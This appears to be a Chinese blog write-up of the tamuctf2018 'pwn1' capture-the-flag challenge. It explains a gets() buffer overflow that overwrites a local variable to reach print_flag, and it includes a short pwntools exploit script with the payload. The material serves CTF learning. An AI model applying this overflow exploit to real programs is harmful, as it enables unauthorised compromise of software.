tamuctf2018_pwn1

思路

  • 先使用ida,观察主函数,看到gets函数,要是不清楚可以使用man搜索一下,该函数是读取一行的输入,不检查输入的长度,回车结束,因此该函数十分危险,也因此我们可知由此来溢出。
gets函数.png
  • 同时我们可以看到有明显的print_flag函数,因此目的是满足田间运行print_flag,因此总体思路就是通过gets函数,溢出,使v5被覆盖,从而满足判断条件


    溢出点.png

代码

from pwn import*

context.log_level='debug'

io = process('./pwn1')

payload = '\x90'* 0x17
payload += p32(0xf007ba11)


io.recvuntil('What is my secret?\n')
io.send(payload)
io.interactive()
io.close()
运行成功.png
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • ×00 0CTF 『第一届0ops信息安全技术挑战赛,即0ops Capture The Flag,以下简称0CT...
    tmdsb38阅读 3,029评论 0 4
  • ##**要求** 1. *人齐* 2. *时间不能太长* ##**内容** -做了什么 -计划做什么 -未完成任务...
    Yimmy_26cb阅读 162评论 0 0
  • 日精进461天 体验入: 饭要一口一口的吃才会香,对胃也很好!一转身想把华邻美超市的销售业绩做的再高一些易是如此!...
    宇宙之爱黄昊贵阅读 259评论 0 1
  • 自从父亲回来住的这一阵子,他每天都起的很早,五点多就起床,而我们还在梦乡中。都说起早,是一个人年老的标志。看着父亲...
    薄荷糖花阅读 521评论 0 0
  • 上周五,一根阴包阳的放量大跌让众多投资者恐慌,而我却结合持仓的股票进行了加仓操作,并通过分析明显表示今天的...
    默行者金阅读 671评论 0 3

友情链接更多精彩内容